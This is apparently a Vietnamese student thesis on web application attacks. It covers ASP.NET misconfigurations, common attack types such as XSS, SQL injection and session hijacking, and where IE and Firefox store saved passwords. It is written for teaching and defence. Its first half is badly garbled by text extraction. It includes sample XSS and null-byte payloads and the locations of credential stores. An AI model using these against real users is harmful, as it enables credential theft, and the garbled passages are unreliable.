Vi c hi u đ ệ ể ượ c ngu n g c các l i thì t nó không gây h i gì cho kh năng b o m t c a ng d ng nh ng ồ ố ỗ ự ạ ả ả ậ ủ ứ ụ ư hãy chú ý là: m t hacker càng có nhi u thông tin v m t website thì chúng càng có nhi u kh năng t n ộ ề ề ộ ề ả ấ công nó M t thông báo l i có th tr thành m t m vàng các thông tin cho nh ng k t n công M t thông ộ ỗ ể ở ộ ỏ ữ ẻ ấ ộ báo l i li t kê các phiên b n đ c tr ng c a các framework ASP.NET và NET có th đ ỗ ệ ả ặ ư ủ ể ượ c s d ng b i các ử ụ ở web server, cũng gi ng nh vi c b t các exception v y Ch c n bi t các ng d ng web c b n nào đ ố ư ệ ắ ậ ỉ ầ ế ứ ụ ơ ả ượ c dùng(tr ườ ng h p dùng ASP.NET) s cho k t n công bi t r ng server đang ch y m t phiên b n Microsoft ợ ẽ ẻ ấ ế ẳ ạ ộ ả Windows nào cũng nh s d ng web server là Microsoft Internet Information Server(IIS) 6.0 hay cao h n ư ử ụ ơ

L i này cũng giúp cho các hacker bi t đ ỗ ế ượ c c u hình c a các ng d ng web đó; ch ng h n nh , n u m t ấ ủ ứ ụ ẳ ạ ư ế ộ

"SqlException" đ ượ c b t, thì k t n công s bi t đ ắ ẻ ấ ẽ ế ượ ằ c r ng ng d ng đang s d ng m t trong phiên b n ứ ụ ử ụ ộ ả

c a Microsoft SQL Server ủ

B n có th xây d ng các ng d ng có kh năng b o m t đ ngăn c n s rò r thông tin b ng cách đi u ạ ể ự ứ ụ ả ả ậ ể ả ự ỉ ằ ề

ch nh các đ c tính c a thành ph n sang "On" ho c là "RemoteOnly" Cách thi t l p này s báo cho ng ỉ ặ ủ ầ ặ ế ậ ẽ ứ

d ng ch hi n th thông báo l i chung chung và khó nh n bi t khi có l i nào đó đ ụ ỉ ể ị ỗ ậ ế ỗ ượ c sinh ra M t cách ộ khác đ tránh các v n đ b o m t ng d ng là redirect ng ể ấ ề ả ậ ứ ụ ườ i dùng đ n m t trang m i khi có l i x y ra ế ộ ớ ỗ ả

b ng cách thi t l p "defaultRedirect" trong Cách này s giúp cho các ng d ng kh năng b o m t cao ằ ế ậ ẽ ứ ụ ả ả ậ

h n b i vì các trang l i chung m c đ nh s không đ l nhi u thông tin v h th ng(đây là tr ơ ở ỗ ặ ị ẽ ể ộ ề ề ệ ố ườ ng h p ợ server s d ng ASP.NET ) ử ụ

2.6 L i Leaving Tracing Enabled in Web-Based Applications

Trace là m t trong nh ng tool h u ich nh t trong ASP.NET, nó giúp b n có th đ m b o tính b o m t cho ộ ữ ứ ấ ạ ể ả ả ả ậ các ng d ng Th t không may, nó cũng là m t trong nh ng tool mà các hacker l i d ng nhi u nh t đ ứ ụ ậ ộ ữ ợ ụ ề ấ ể

t n công vào ng d ng c a b n n u nó đ ấ ứ ụ ủ ạ ế ượ c cho phép trong s n ph m(cho phép ng ả ẩ ườ i dùng tác đ ng ộ vào).

Trang 33

Khi đ t ch đ cho phép ng ặ ở ế ộ ườ i dùng đi u khi n(localOnly="false"), b t c ng ề ể ấ ứ ườ i dùng nào cũng có th ể xem chi ti t danh sách các yêu c u g n đây đ i v i ng d ng b ng cách r t đ n gi n là vào trang ế ầ ầ ố ớ ứ ụ ằ ấ ơ ả

"trace.axd" N u m t thông báo chi ti t l il là m t m vàng đ i v i các hacker thì vi c truy c p đ ế ộ ế ỗ ộ ỏ ố ớ ệ ậ ượ c vào trace l i gi ng nh Fort Knox! Truy c p vào trace cho bi t r t nhi u thông tin: các phiên b n NET và ạ ố ư ậ ế ấ ề ả ASP.NET mà server đang ch y; m t li t kê đ y đ các ph ạ ộ ệ ầ ủ ươ ng th c do các yêu c u sinh ra, bao g m c ứ ầ ồ ả

th i gian th c hi nl; tr ng thái các phiên và các key tr ng thái c a ng d ng; các cookies đáp ng và yêu ờ ự ệ ạ ạ ủ ứ ụ ứ

c u; thi t l p đ y đ các yêu c u headers, các bi n hình th c, và các bi n QueryString; và cu i cùng là ầ ế ậ ầ ủ ầ ế ứ ế ố

M t hacker luôn tìm ki m cách đ bi t đ ộ ế ể ế ượ ị c l ch s cách s d ng các bi n hình th c b i vì nh ng đi u ử ử ụ ế ứ ở ữ ề này có th bao g m c các đ a ch email, đi u đó s giúp chúng có th bán l i cho các k g i th rác, ID ể ồ ả ị ỉ ề ẽ ể ạ ẻ ử ư

và password có th b s d ng đ m o nh n ng ể ị ử ụ ể ạ ậ ườ i dùng, ho c các thông tin v tài kho n ngân hàng hay ặ ề ả

th tín d ng có th b đánh c p Th m chí là nh ng d li u có v nh vô h i nh t trong trace cũng có th ẻ ụ ể ị ắ ậ ữ ữ ệ ẻ ư ạ ấ ể gây nguy hi m n u r i vào tay k x u Ví d , bi n server "APPL_PHYSICAL_PATH", bao g m các đ ể ế ơ ẻ ấ ụ ế ồ ườ ng

d n v t lý c a các ng d ng web trên server, có th giúp các hacker tìm đ ẫ ậ ủ ứ ụ ể ượ c các đ ườ ng d n t i các th ẫ ớ ư

Tri n khai các ng d ng web ch đ debug là m t sai l m r t ph bi n H u nh các ng d ng web ể ứ ụ ở ế ộ ộ ầ ấ ổ ế ầ ư ứ ụ

đ u đòi h i ph i debug Visual Studio 2005 th m chí còn t đ ng đi u ch nh Web.config cho phép debug ề ỏ ả ậ ự ộ ề ỉ khi b n b t đ u debug ng d ng c a b n Và, khi tri n khai ng d ng ASP.NET đ n gi n nh copy các file ạ ắ ầ ứ ụ ủ ạ ể ứ ụ ơ ả ư

t các th m c phát tri n sang các th m c tri n khai, thì cũng r t d dàng nh n ra các thi t l p c u hình ừ ư ụ ể ư ụ ể ấ ễ ậ ế ậ ấ

có th g p sai l m bao g m c các l i b o m t ể ặ ầ ồ ả ỗ ả ậ

Gi ng nh 2 l i trên vi c cho phép debug r t nguy hi m b i ng ố ư ỗ ệ ấ ể ở ườ i dùng hoàn toàn có th thu đ ể ượ c các thông tin bên trong h th ng c a b n qua đó t n công ng d ng c a b n Th t không may là thi t l p ệ ố ủ ạ ấ ứ ụ ủ ạ ậ ế ậ này không ph i là l i duy nh t, đi u đó gi i thích t i sao nh ng ng ả ỗ ấ ề ả ạ ữ ườ i phát tri n ph n m m không nên ể ầ ề chú tr ng vào m t c u hình duy nh t khi mu n b o đ m tính b o m t c a h th ng Trong các phiên b n ọ ộ ấ ấ ố ả ả ả ậ ủ ệ ố ả framework đ u tiên, m t vài đi u khi n tr v các thông báo t i ng ầ ộ ề ể ả ề ớ ườ i dùng khi có l i Đi u này x y ra ỗ ề ả cho dù có thi t l p debug hay ko, vì th cho dù b n hoàn toàn có th c u hình ng d ng c a mình ch ế ậ ế ạ ể ấ ứ ụ ủ ỉ

hi n th các thông tin không quan tr ng thì source code c a b n v n có th r i vào tay ng ể ị ọ ủ ạ ẫ ể ơ ườ i dùng n u ế

Đ vô hi u debug, đ t giá tr c a "debug" trong b ng "false" Đây là giá tr m c đ nh nh ng chúng ta nên ể ệ ặ ị ủ ằ ị ặ ị ư

t c u hình l i ch không nên ph thu c vào c u hình m c đ nh đ b o đ m tính b o m t cho h th ng ự ấ ạ ứ ụ ộ ấ ặ ị ể ả ả ả ậ ệ ố

4 Cookies Accessible through Client-Side Script

Trong trình duy t IE 6.0, Microsoft đã gi i thi u đ c tính cookie m i g i là "HttpOnly" Trong khi b n có ệ ớ ệ ặ ớ ọ ạ

th thi t l p các đ c tính ch ể ế ậ ặ ươ ng trình trên m t n n t ng c a m i cookie, b n v n có th thi t l p nó trên ộ ề ả ủ ố ạ ẫ ể ế ậ toàn c u trong m t trang c u hình ầ ộ ấ

Trang 34

B t kỳ cookie nào đ t đ c tính này đ u ch có th đ ấ ặ ở ặ ề ỉ ể ượ c truy nh p vào t các code trên server.Đi u ậ ừ ở ề này giúp nâng cao tính b o m t cho h th ng c a b n Các hacker đ u thu c lòng cách t n công CSS ả ậ ệ ố ủ ạ ề ộ ấ (Cross-Site Scripting, còn g i là XSS) đ thêm vào các mã ngu n riêng c a mình Khi đó thì tính b o m t ọ ể ồ ủ ả ậ

c a h th ng s b đe d a nghiêm tr ng Các forum, wiki th ủ ệ ố ẽ ị ọ ọ ườ ng hay m c ph i các l i này Trong nh ng ắ ả ỗ ữ trang này, các ng ườ i dùng h p pháp post lên nh ng suy nghĩ, ý t ợ ữ ưở ng c a h , nh ng đi u này là hoàn ủ ọ ữ ề toàn public v i t t c m i ng ớ ấ ả ọ ườ i xem trang web Nh ng m t k t n công thì s post lên nh ng b n tin nh ư ộ ẻ ấ ẽ ữ ả ư

ki u "alert(document.cookie);" Thông tin này bao g m các script c a anh ta và s đ ể ồ ủ ẽ ượ c trình duy t biên ệ

d ch và ch y Nh ng thông tin này th ị ạ ữ ườ ng nh m m c đích l y các thông tin truy c p c a ng ằ ụ ấ ậ ủ ườ i dùng đ ể

s d ng vào các m c đích x u N u đ t các cookie "HttpOnly" s giúp các thông tin này không th th y ử ụ ụ ấ ế ặ ở ẽ ể ấ

đ ượ ừ c t phía client và s ngăn c n đ ẽ ả ượ c vi c b t n công Vì th hãy thi t l p "HttpOnly" c a "HttpCookie" ệ ị ấ ế ế ậ ủ giá tr "true " Tuy nhiên có m t cách còn đ n gi n và đáng tin c y h n là c u hình cho h th ng t

1 KIỂM SOÁT TRUY CẬP WEB (Web Access Control)

Thâm nhập hệ thống qua cửa sau (Back door)

Trong quá trình thiết kế ứng dụng, những người phát triển ứng dụng có thể cài một “cửa sau” (back door) để sau này có thể thâm nhập vào hệ thống một cách dễ dàng.

2 CHIẾM HỮU PHIÊN LÀM VIỆC(Session Mangement)

1.1 Ấn định phiên làm việc (Session Fixation)

Trang 35

Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ bằng cách gửi một session ID hợp lệ đến người dùng, sau khi người dùng đăng nhập vào hệ

thống thành công, hacker sẽ dùng lại session ID đó và nghiễm nhiên trở thành người dùng hợp lệ.

2.2 Đánh cắp phiên làm việc (Session Hijacking)

Là kĩ thuật tấn công cho phép hacker mạodanh người dùng hợp lệ sau khi nạn

nhân đã đăng nhập vào hệ thống bằng cách giải mã session ID của họ được lưu trữ trong cookie hay tham số URL, biến ẩn của form.

3 LỢI DỤNG THIẾU SÓT TRONG VIỆC KIỂM TRA

DỮ LIỆU HỢP LỆ (INPUT VALIDATION)

Hacker lợidụng những ô nhập dữ liệu để gửi đi một đoạn mã bất kì khiến cho hệ

thống phải thực thi đoạn lệnh đó hay bị phá vỡ hoàn toàn.

3.1 Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt

3.3 Mã hoá URL (URL Encoding)

Trang 36

Lợi dụng chuẩn mã hóa những kí tựđặc biệt trên URL mà hacker sẽ mã hoá tự

động những kí tự bất hợp lệ-những kí tự bị kiểm tra bằng ngôn ngữ kịch bản-để vượt qua vòng kiểm soát này.

3.4 Kí tự Meta (Meta-characters Sử dụng những kí tự đặc biệt

Hacker có thể chènthêm vào dữ liệu gửi những kí tự trong chuỗi câu lệnh như <script> trong kĩ thuật XSS, ‘ trong SQL….để thực thi câu lệnh

3.5 Vượt qua đường dẫn (Path Traversal):

Là phương pháp lợi dụng đường dẫn truy xuất một tập tin trên URL để trả kết quả về cho trình duyệt mà hacker có thể lấy được nội dung tập tin bất kì trên

hệ thống.

3.6 Chèn mã lệnh thực thi trên trình duyệt nạn nhân

(Cross- Site Scripting):

Đây là kĩ thuật tấn công chủ yếu nhằm vào thông tin trên máy tính của người

dùng hơn là vào hệ thống máy chủ Bằng cách thêm một đoạn mã bất kì ( thường được lập trình bằng ngôn ngữ kịch bản như JavaScript, VBScript…), hacker có thể thực hiện việc đánh cắp thông tin quan trọng như cookie để từ đó trở thành người dùng hợp lệ của ứng dụng…dựa trên những thông tin đánh cắp này Cross- Site scripting cũng là một kiểu tấn công “session hijacking”.

3.7 Thêm câu lệnh hệ thống (OS Command Injection)

Khả năng thực thi được những câu lệnh hệ thống hay những đoạn mã được thêm

vào trong những tham số mà không có sự kiểm tra chặt chẽ như tham số của form, cookies, yêu cầu HTTP Header, và những dữ liệu nguy hiểm trong những tập tin được đưa lên trình chủ Thành công trong kĩ thuật này giúp hacker có thể thực thi được những câu lệnh hệ thống với cùng quyền của trình chủ.

Trang 37

3.8 Kí tự rỗng (Null Characters)

Lợi dụng chuỗi kí tự thường kết thúc bằng \0 mà hacker thường thêm vào

để đánh lừa ứng dụng vì với những ứng dụng sử dụng chương trình dịch như C++ thì C++

cho rằng \0 là dấu kết thúc chuỗi Ví dụ:

Hacker thêm chuỗi sau:

Ô nhập: đề tài thứ nhất\0<script> alert(document.cookie)</script>

Nếu ứng dụng sử dụng chương trình C++ để kiểm tra tính đúng đắn của chuỗi thì chuỗi trên hợp lệ do C++ sẽ nhân biết “\0” là kết thúc chuỗi nên không kiểm tra.

3.9 Chèn câu truy vấn SQL (SQL Injection)

Trong lập trình với cơ sở dữ liệu, người lập trình đã sai sót trong vấn đề kiểm tra

giá trị nhập vào để từ đó hacker lợi dụng thêm vào những câu truy vấn hay những giá trị không hợp lệ để dễ dàng đăng nhập vào hệ thống.

3.10 Ngôn ngữ phía máy chủ (Server side includes)

Là khả năng thêm vào những câu lệnh thuộc hệ thống như nhúng file (include

file), truy xuất cơ sở dữ liệu (jdbc)…khiến cho hacker có cơ hội truy xuất đến file,

cơ sở dữ liệu…mà bình thường không thể xem được trên Web site.

3.11 Thao tác trên tham số truyền (Parameter manipulation)

Những thông tin trao đổi giữa trình chủ và trình duyệt được lưu trữ trong những

biến như biến trên URL, biến ẩn form, cookie…Bởi vì việc kiểm soát biến chưa được quan tâm đúng mức nên hacker có thể lợi dụng sửa đổi giá trị biến để đánh cắp phiên làm việc của người dùng hay thay đổi giá trị một món hàng….

Trang 38

3.12 Từ chối dịch vụ (Denial of service (DoS))

Một khối lượng lớn yêu cầu được gửi cho ứng dụng trong một khoảng thời gian nhất định khiến hệ thống không đáp ứng kịp yêu cầu dẫn đến hệ thống bị phá vỡ.

1 Ki u t n công “padding oracle crypto”ể ấ , k t n công (hacker) s khai thác khung t ch cẻ ấ ẽ ổ ứ (framework) ASP.Net, hacker có th chi m tr n quy n đi u khi n b t kỳ trang web nào s d ngể ế ọ ề ề ể ấ ử ụ ASP.NET và th m chí nghiêm tr ng h n có th chi m quy n đi u khi n hoàn toàn các máy chậ ọ ơ ể ế ề ề ể ủ Windows ch a các trang web này (Ngứ ười phát hi n: Dệ ương Ng c Thái và Juliano Rizzo).ọ

2 Evercookie: có th dùng Javascript đ t o ra các cookie và gi u cookie 8 n i khác nhauể ể ạ ấ ở ơtrong trình duy t, gây khó khăn trong vi c mu n xóa s ch chúng Thông qua Evercookie, hackerệ ệ ố ạ

có th đ t nh p vào máy tính ngay c khi cookie đã b xóa (Ngể ộ ậ ả ị ườ ại t o ra: Samy Kamkar)

3 T n công Autocomplete: tính năng này s t đ ng đi n vào m u (form) có s n trên trangẽ ự ộ ề ẫ ẵweb (tính năng autocomplet t đ ng b t), lúc đó trang web ch a mã đ c có th “bu c” trìnhự ộ ậ ứ ộ ể ộduy t đi n đ y đ thông tin cá nhân mà d li u đệ ề ầ ủ ữ ệ ượ ấc l y t các ngu n khác nhau n m trênừ ồ ằmáy tính n n nhân (Ngạ ườ ại t o: Jeremiah Grossman)

dữ liệu đó Không một tính năng nào đảm bảo là không có kẽ hở và tôi sẽ trình bày các cách tấn công vào dữ liệu được lưu trữ từ đó tìm ra những cách bảo mật chúng hạn chế các rủi do có thể xảy ra Bài viết được chia làm hai bài

Bài1: Vì sao phải sử dụng tính năng này, cũng như phương thức lưu trữ thuật toán

mã hoá của chúng ra sao

Bài 2: Tấn công khai thác các thông tin từ dữ liệu được lưu trong hệ thống, tìm ra cách hạn chế tấn công

1 Giới thiệu.

Bài viết này sẽ đưa ra cho bạn một phân tích về cơ chế bảo mật, những nguy cơ tiềm ẩn, việc tấn công và việc phòng chống từ hai cách quản lý mật khẩu trong hệ thống cho các web browers cho IE và Firefox Bài viết này cụ thể nói về phiên bản IE 6, 7 và Firefox 1.5 và 2.0 Bài viết bao gồm các vấn đề sau:

- Các cơ chế lưu giữ mật khẩu (Password storage mechanisms): Nó có nghĩa là việc bảo vệ tài khoản người dùng và mật khẩu trong file hệ thống đã được mã hoá

Trang 39

- Tấn công vào trình quản lý mật khẩu: phương pháp tấn công lấy cắp mật khẩu đã được bảo vệ

- Phân tích các rủi do bảo mật: Người dùng đôi khi không nhận ra được hết các vấn đề rủi do có thể xảy ra

- Sử dụng: Tính năng này tăng sự tiện dụng cũng như hạn chế các vấn đề bảo mật có thể xảy đến

- Các biện pháp đối phó: Hành động có thể được thực hiện bởi người dùng và tổ chức để hạn chế rủi do

Internet Explorer và Firefox hiện chiếm đến 95% trong tổng số các trình duyệt đang được sử dụng Tự động nhớ mật khẩu và quản lý mật khẩu là những tính năng được lưu trữ từ web dạng usernames và password, tính năng này bắt đầu được tích hợp để mang lại sự tiện dụng từ phiên bản IE 4 và Firefox 0.7

Mỗi trình duyệt web đều mang đến tính năng để đem lại sự tiện dụng bằng việc nhớ các mật khẩu khó để cho việc xác thực những trang web cụ thể Ví như bạn có thể đặt mật khẩu rất khó cho gmail của bạn và mỗi khi truy cập vào trang web: http://mail.google.com bạn sẽ không cần phải nhập tài khoản cũng như mật khẩu nữa Cả hai trình duyệt IE và Firefox khi người dùng đăng nhập vào một trang web thì đều được hỏi là bạn có lưu lại tài khoản và mật khẩu không, nếu người dùng đồng ý nó sẽ lưu lại tài khoản và mật khẩu Khi người dùng vào lại trang web đó thì tài khoản và mật khẩu được tự động cung cấp

Mặc dù tính năng này đem lại sự tiện dụng cho người dùng, nhưng họ cũng cần phải được cảnh báo những mối quan tâm đến việc quản lý mật khẩu này

2 Một trường hợp quản lý mật khẩu.

Cần thiết để quản lý mật khẩu trực tiếp là rất khó để nhớ rất nhiều mật khẩu và tài khoản cho những trang web cụ thể, khi mà bạn có rất nhiều tài khoản khác nhau cũng như mật khẩu khác nhau cho mỗi trang web Nhưng việc bạn ghi tài khoản và mật khẩu ra một chỗ nào đó thì hoàn toàn không an toàn vì người khác có thể hai thác thông tin đó một cách dể dàng Một người dùng có thể tạo ra những tài khoản khác nhau để tạo

ra khả năng khó khăn cho việc tấn công cũng như tăng cường tính bảo mật

Cân bằng hay một giải pháp tổng thể với user là tin tưởng một ứng dụng chuyên cung cấp tính năng này (lưu trữ được bảo mật, quá trình thực hiện nhanh chóng, và đem lại sự tin tưởng chính xác cho quá trình xác thực từng trang web cụ thể) Nhưng tính năng quản lý mật khẩu không phải sử dụng cho tất cả tình huống, tuy nhiên nó là một công nghệ tạo ra đòn bẩy, và là một lĩnh vực mới để các kẻ tấn công lợi dụng các lỗ hổng bảo mật trong các tính năng này, để đảm bảo vấn đề này yêu cầu người sử dụng máy tính cần phải được xác thực trước khi đăng nhập vào hệ thống

Người dùng cần phải biết rằng hệ thống quản lý này bao khi được sử dụng, cần phải có sự hiểu biết những nguy cơ có thể xảy ra để phòng chống Trong bài viết này với nội dung cách thiết kế cơ bản để bảo mật mật khẩu và tài khoản người dùng trước những tấn công, cũng như những cảnh báo các khả năng tấn công trong tương lai

3 Trước đây

Việc sử dụng cùng tài khoản và mật khẩu cho nhiều trang web được sử dụng nhiều nhất, nhưng một vấn đề rất có khả năng xảy ra là khi kẻ tấn công khai thác được một mật khẩu và tài khoản của một trang web kém bảo mật thì toàn bộ các trang web khác cũng đồng thời bị kẻ tấn công lợi dụng Sử dụng mật khẩu, các kỹ năng để có một mật khẩu dễ dùng nhưng khó tấn công đối với kẻ khai thác, những tiềm ẩn việc sử dụng password toàn bộ đã được nghiên cứu một cách kỹ lưỡng Thêm vào đó Firefox có những nghiên cứu để hạn chế các khai thác có thể xảy ra đối với việc quản lý tài khoản và mật khẩu

Trang 40

4 Phương thức lưu mật khẩu.

Quá trình ghi nhớ tài khoản và mật khẩu được miêu tả dưới đây Thông tin này đã từng được sử dụng để nghiên cứu các cuộc tấn công của các hãng sản xuất và được miêu tả cụ thể dưới đây

4.1 Lưu trữ tại local

4.1.1 Với phiên bản Internet Explorer 6 & 7

Trên Internet Explorer (phiên bản 4 đến 6) AutoComplete các thông tin từ Web được lưu trữ trong Registry

và cụ thể tại:

Mã hoá usernames and passwords:

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\SPWĐịa chỉ trang Web

HKEY_LOCAL_MACHINE\Software\MicrosoftProtected Storage System Provider\

Mã hoá bằng symmetric keys:

HKEY_CURRENT_USER\Software\Microsoft\

Protected Storage System Provider\Data\\

Trên Internet Explorer 7, AutoComplete các thông tin từ Web như tài khoản người dùng mật khẩu hay địa chỉ của trang web đó cũng được lưu trữ trong Registry nhưng chúng được đặt tại những vị trí khac nhau

Mã hoá Usernames and Passwords:

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2

Toàn bộ trong Registry chỉ được tạo ra khi người dùng save các thông tin login như tài khoản và mật khẩu

từ trang web Và chúng được cấu tạo bằng nhóm từ SavePassWords

4.1.2 Với phiên bản Firefox 1.5 and 2.0

Trên Firefox, Uniform Resource Locators (URLs) bao gồm usernames, và passwords được lưu trên file signons.txt:

Mã hoá usernames và password trong Windows Systems tại:

Ngày đăng: 23/05/2014, 18:16

HÌNH ẢNH LIÊN QUAN

Hình 1. mô hình 3 tầng của một ứng dụng web - đồ án tấn công web
Hình 1. mô hình 3 tầng của một ứng dụng web (Trang 4)
Hình 3. Mô tả hoạt động của một ứng dụng web - đồ án tấn công web
Hình 3. Mô tả hoạt động của một ứng dụng web (Trang 6)
Hình 3 Mô hình hoạt động của một ứng dụng web - đồ án tấn công web
Hình 3 Mô hình hoạt động của một ứng dụng web (Trang 8)
Hình 2 mô tả kiểu quét intense của nmap - đồ án tấn công web
Hình 2 mô tả kiểu quét intense của nmap (Trang 81)
Hình 1 giao diện của nmap - đồ án tấn công web
Hình 1 giao diện của nmap (Trang 81)
Hình 3 kết quả khi dùng nmap phần (nmap out) - đồ án tấn công web
Hình 3 kết quả khi dùng nmap phần (nmap out) (Trang 82)
Hình 4 Kết quả trên nmap out (tiếp) - đồ án tấn công web
Hình 4 Kết quả trên nmap out (tiếp) (Trang 82)
Hình 5 hình ảnh của host đang kiểm tra Mặc dù có rất nhiều chức năng nhưng có những lúc nmap cũng không xác  định được chính xác các thông số của đối tượng - đồ án tấn công web
Hình 5 hình ảnh của host đang kiểm tra Mặc dù có rất nhiều chức năng nhưng có những lúc nmap cũng không xác định được chính xác các thông số của đối tượng (Trang 83)
Hình 6 giao diện của wireshare - đồ án tấn công web
Hình 6 giao diện của wireshare (Trang 84)
Hình 8 Thông tin của những gói tin mà wireshare bắt được - đồ án tấn công web
Hình 8 Thông tin của những gói tin mà wireshare bắt được (Trang 85)
Hình 7 giao diện của wireshare khi bắt gói tin - đồ án tấn công web
Hình 7 giao diện của wireshare khi bắt gói tin (Trang 85)
Hình 9 Giao diện của DoSHTTP 2.5 - đồ án tấn công web
Hình 9 Giao diện của DoSHTTP 2.5 (Trang 86)

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w